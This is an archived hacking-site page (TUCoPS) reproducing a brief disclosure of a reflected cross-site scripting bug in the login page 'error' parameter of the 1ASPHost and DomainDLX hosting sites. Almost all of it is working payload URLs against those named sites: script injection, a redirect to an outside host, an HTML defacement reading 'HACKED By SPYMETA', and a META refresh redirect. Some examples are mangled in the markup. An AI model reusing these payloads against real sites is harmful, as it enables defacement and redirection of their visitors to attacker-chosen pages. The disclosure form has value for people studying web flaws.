TUCoPS :: HP Unsorted Nums

TUCoPS :: HP Unsorted Nums :: b06-2057.htm
1asphost and domaindlx hosting services url bug
URL Bug On 1ASPHost and DomainDLX Hosting Services URL Bug On 1ASPHost and DomainDLX Hosting Services

This is an URL Bug on 1ASPHost & DomainDLX Hosting Services Internet Sites :

We Can Run Script, META Tag Or HTML Code.

JScript

Example (1ASP Host) :

<a href="http://www.1asphost.com/MainLogin.aspx?error=<script>alert('HACKED%20!')</script>">http://www.1asphost.com/MainLogin.aspx?error=<script>alert('HACKED%20!')</script></a>

Example (DomainDLX)

<a href="http://www.domaindlx.com/MainLogin.aspx?error=<script>alert('HACKED%20!')</script>">http://www.domaindlx.com/MainLogin.aspx?error=<script>alert('HACKED%20!')</script></a>

Redirect JScript

Example (1ASP Hosting) : <a href="http://www.1asphost.com/MainLogin.aspx?error=<script>window.location.href="http://members.lycos.co.uk/spymeta/hacked..jpg"</script>">http://www.1asphost.com/MainLogin.aspx?error=<script>window.location.href="http://members.lycos.co.uk/spymeta/hacked..jpg"</script></a>

Example (Domaindlx) :

<a href="http://www.domaindlx.com/MainLogin.aspx?error=<script>window.location.href="http://members.lycos.co.uk/spymeta/hacked..jpg"</script>">http://www.domaindlx.com/MainLogin.aspx?error=<script>window.location.href="http://members.lycos.co.uk/spymeta/hacked..jpg"</script></a>

HTML Codes

Example (1ASP Hosting) : <a href="http://www.1asphost.com/MainLogin.aspx?error=<font%20size=20><center><br><br><br><br>HACKED%20By%20SPYMETA%20!<body%20bgcolor=#000000>">http://www.1asphost.com/MainLogin.aspx?error=<font%20size=20><center><br><br><br><br>HACKED%20By%20SPYMETA%20!<body%20bgcolor=#000000></a>

Example (DomainDLX) :

<a href="http://www.domaindlx.com/MainLogin.aspx?error=<font%20size=20><center><br><br><br><br>HACKED%20By%20SPYMETA%20!<body%20bgcolor=#000000>">http://www.domaindlx.com/MainLogin.aspx?error=<font%20size=20><center><br><br><br><br>HACKED%20By%20SPYMETA%20!<body%20bgcolor=#000000></a>

META Tags

Example (1ASP HOST): <a href="http://www.1asphost.com/MainLogin.aspx?error=<META">http://www.1asphost.com/MainLogin.aspx?error=<META</a> http-equiv="refresh" content="0; <a href="http://members.lycos.co.uk/spymeta/hacked..jpg">">url=http://members.lycos.co.uk/spymeta/hacked..jpg"></a>

Example (DomainDLX) :
<a href="http://www.DomainDLX.com/MainLogin.aspx?error=<META">http://www.DomainDLX.com/MainLogin.aspx?error=<META</a> http-equiv="refresh" content="0; <a href="http://members.lycos.co.uk/spymeta/hacked..jpg">">url=http://members.lycos.co.uk/spymeta/hacked..jpg"></a>

credits : SPYMETA